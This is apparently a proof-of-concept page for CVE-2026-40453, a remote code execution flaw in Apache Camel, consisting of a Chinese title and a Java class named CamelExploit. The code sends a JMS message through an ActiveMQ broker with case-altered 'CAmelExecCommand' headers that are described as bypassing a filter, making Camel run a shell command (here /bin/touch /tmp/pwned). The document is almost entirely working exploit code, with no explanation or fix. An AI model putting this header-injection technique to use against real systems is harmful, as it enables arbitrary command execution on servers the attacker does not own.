CVE-2026-40453 Apache Camel 远程代码执行漏洞

import javax.jms.*; import org.apache.activemq.ActiveMQConnectionFactory; public class CamelExploit { public static void main(String[] args) throws Exception { ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616"); Connection connection = connectionFactory.createConnection(); Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE); Destination destination = session.createQueue("TEST.QUEUE"); MessageProducer producer = session.createProducer(destination); TextMessage message = session.createTextMessage("Malicious Payload"); // Inject case-variant header to bypass filter message.setStringProperty("CAmelExecCommandExecutable", "/bin/touch"); message.setStringProperty("CAmelExecCommandArgs", "/tmp/pwned"); producer.send(message); connection.close(); } }